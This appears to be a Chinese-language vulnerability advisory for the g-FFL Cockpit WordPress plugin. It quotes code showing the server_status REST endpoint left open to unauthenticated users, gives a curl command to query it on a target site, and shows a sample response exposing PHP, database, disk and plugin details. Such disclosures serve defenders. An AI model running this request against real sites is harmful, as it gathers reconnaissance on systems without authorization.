g-FFL Cockpit 插件未在 server_status REST API 端点上实施适当的授权检查，允许未经身份验证的用户通过暴露的公共端点访问敏感的服务器配置信息、PHP 设置、数据库详情、WordPress 安装元数据和活动插件信息。
TARGET_SITE="http://example.com"
curl -X GET $TARGET_SITE/wp-json/fflcockpit/v1/server_status | jq
handle_server_status() 函数位于 includes/class-sync-endpoint.php 中，该函数检索并暴露全面的服务器信息，无需任何身份验证或能力检查。该端点注册时使用了 permission_callback => '__return_true'，使其对任何未经身份验证的访问者完全可访问。
位于 class-sync-endpoint.php 中：
88: register_rest_route('fflcockpit/v1', '/server_status', [
89: 'methods' => 'GET',
90: 'callback' => [__CLASS__, 'handle_server_status'],
91: 'permission_callback' => '__return_true', // 公共端点
92: ]);
handle_server_status() 函数暴露：
来自 class-sync-endpoint.php 的易受攻击代码片段：
1443: 'php_version' => phpversion(),
1444: 'operating_system' => defined('PHP_OS') ? PHP_OS : 'Unknown',
1445: ];
1446:
1447: if (isset($_SERVER['SERVER_SOFTWARE'])) {
1448: $server_info['server_software'] = $_SERVER['SERVER_SOFTWARE'];
1449: }
class-sync-endpoint.php 中的额外披露：
1645: $active_plugins_list = get_option('active_plugins', []);
1646: $wp_info['active_plugins_count'] = count($active_plugins_list);
1647:
1648: if (!function_exists('get_plugins')) {
1649: require_once ABSPATH . 'wp-admin/includes/plugin.php';
1650: }
1651: $all_plugins = get_plugins();
1652:
1653: $plugin_details = [];
1654: foreach ($active_plugins_list as $plugin_path) {
1655: if (isset($all_plugins[$plugin_path])) {
1656: $plugin_info = $all_plugins[$plugin_path];
1657: $plugin_details[] = [
1658: 'name' => $plugin_info['Name'] ?? 'Unknown',
1659: 'version' => $plugin_info['Version'] ?? 'Unknown',
1660: 'author' => isset($plugin_info['Author']) ? strip_tags($plugin_info['Author']) : 'Unknown',
1661: 'description' => isset($plugin_info['Description']) ? wp_trim_words(strip_tags($plugin_info['Description']), 20) : '',
1662: 'path' => $plugin_path,
1663: 'network' => $plugin_info['Network'] ?? false,
1664: ];
1665: }
1666: }
注意： g-FFL Cockpit 需要 WooCommerce
导航到安装了 g-FFL Cockpit 插件的目标 WordPress 站点。
执行以下 curl 命令以检索服务器状态信息：
curl -X GET http://example.com/wp-json/fflcockpit/v1/server_status
{
"plugin": {
"name": "FFL Cockpit",
"version": "1.7.1"
},
"timestamp": "2024-01-15T12:34:56Z",
"server": {
"php_version": "8.1.27",
"operating_system": "Linux",
"server_software": "Apache/2.4.57",
"architecture": "x86_64",
"server_load": [0.52, 0.48, 0.45]
},
"memory_usage": {
"current": "45.23 MB",
"current_bytes": 47415296,
"peak": "52.18 MB",
"peak_bytes": 54722560,
"limit": "256 MB",
"limit_bytes": 268435456,
"usage_percentage": 17.67
},
"php_config": {
"memory_limit": "256M",
"max_execution_time": "300",
"max_input_vars": "3000",
"post_max_size": "64M",
"upload_max_filesize": "64M",
"max_file_uploads": "20",
"opcache_enabled": true,
"opcache_memory_consumption": 67108864,
"opcache_hit_rate": 95.23
},
"php_extensions": {
"curl": true,
"gd": true,
"imagick": true,
"mbstring": true,
"mysql": true,
"zip": true,
"xml": true,
"json": true,
"openssl": true,
"fileinfo": true
},
"database": {
"mysql_version": "8.0.35",
"charset": "utf8mb4",
"collate": "utf8mb4_unicode_ci",
"queries_this_request": 42,
"mysql_config": {
"max_connections": "151",
"max_allowed_packet": "67108864",
"innodb_buffer_pool_size": "134217728"
},
"database_size": 125.43
},
"disk_space": {
"free": "15.23 GB",
"free_bytes": 16357785600,
"total": "50.00 GB",
"total_bytes": 53687091200,
"used_percentage": 69.51
},
"wordpress": {
"version": "6.4.2",
"multisite": false,
"debug_enabled": false,
"cache_enabled": false,
"active_plugins_count": 12,
"active_plugins": [
{
"name": "g-FFL Cockpit",
"version": "1.7.1",
"author": "Garidium LLC",
"description": "g-FFL Cockpit",
"path": "g-ffl-cockpit/g-ffl-cockpit.php",
"network": false
}
]
},
"woocommerce": {
"is_installed": true,
"version": "8.5.2",
"api_enabled": true,
"product_count": 1250,
"order_count": 342
}
}